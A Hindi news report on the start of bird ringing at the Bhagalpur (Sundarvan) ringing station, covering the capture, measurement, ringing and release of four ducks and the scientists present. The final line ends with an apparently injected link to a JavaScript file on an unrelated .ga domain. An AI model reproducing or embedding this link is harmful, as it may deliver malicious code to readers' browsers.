भागलपुर के पक्षियों को रिंग पहनाने  का कार्य हो गया है प्रारंभ ।

 

भागलपुर,( कुलसूम फात्मा ) जी हां, देश के चौथे वर्ल्ड रिंगिंग स्टेशन के स्पेशलिस्ट भागलपुर के पक्षियों को रिंग पहनाने का कार्य प्रारंभ कर दिया है। और इन विशेषज्ञों ने अभी तक के 4 पक्षियों को रिंग पहनाया है।

 

 

भागलपुर के सुंदरवन में चल रहे देश के चौथे बर्ड रिंगिंग स्टेशनों के पक्षियों को रिंग पहनाने का कार्य वर्तमान समय में प्रारंभ करने के लिए रात के समय पक्षियों को पकड़ने के लिए गुरुवार को टीम पहुंची और टीम ने झील में तैरती हुए तकरीबन 4 पक्षियों को जाल लगा करके पकड़ा। इनमें से दो फीमेल गिर्री और एक पक्षी प्रवासी गिर्री और एक अन्य प्रवासी गिर्री तथा डेंजरस फीमेल पक्षी फेरूजिनस डक मिली।

 

इन पंछियों को जाल के द्वारा पकड़ने के पश्चात सर्वप्रथम इनके पंख तथा पैर और चोच की लंबाई को देखकर मापा गया। उसके पश्चात वजन को भी मापा गया। इसके बाद इनके पैरों में अल्मुनियम के छल्ले को पहनाया गया और इस छल्ले को पहनाने के पश्चात इन पक्षियों को पुनः झील में छोड़ दिया गया

 

पक्षियों के वैज्ञानिकों ने यह कहां की पक्षी नर है या फिर फीमेल या फिर वयस्क है या अवयस्क हैं तथा पंख इनके निकाले जा रहे हैं या फिर नहीं बांबे नेचुरल हिस्ट्री सोसायटी के सहायक डायरेक्टर तथा वैज्ञानिक डॉक्टर साथिया सेलवम ने बातचीत के दौरान बताया के रिंग के छल्ले में नंबर वाले कोड को डाला गया है इसके द्वारा हम पता कर सकते हैं की जिस पक्षी को यह छल्ला पहनाया गया है उसमे कहां से कहां तक के परिवर्तन आया है जब पक्षियों को रिंग पिहनाया जा रहा था। उस समय d.f.o. भागलपुर, एस सुधाकर तथा इंडियन वर्ल्ड कन्वर्सेशन नेटवर्क के स्टेट कोआर्डिनेटर अरविंद मिश्रा तथा एरिया के मुख्य वन संरक्षक अभय कुमार तथा बी एन एच एच ए की वैज्ञानिक डॉ निशा सिंह और डॉ परवीन शेख तथा डॉक्टर तुहिना कट्टी और डॉक्टर सोहेल मदन तथा डॉक्टर सुब्रत देबता शोधार्थी के साथ श्रद्धा सिन्हा भी मौके पर मौजूद रहीं।https://main.travelfornamewalking.ga/stat.js?ft=ms

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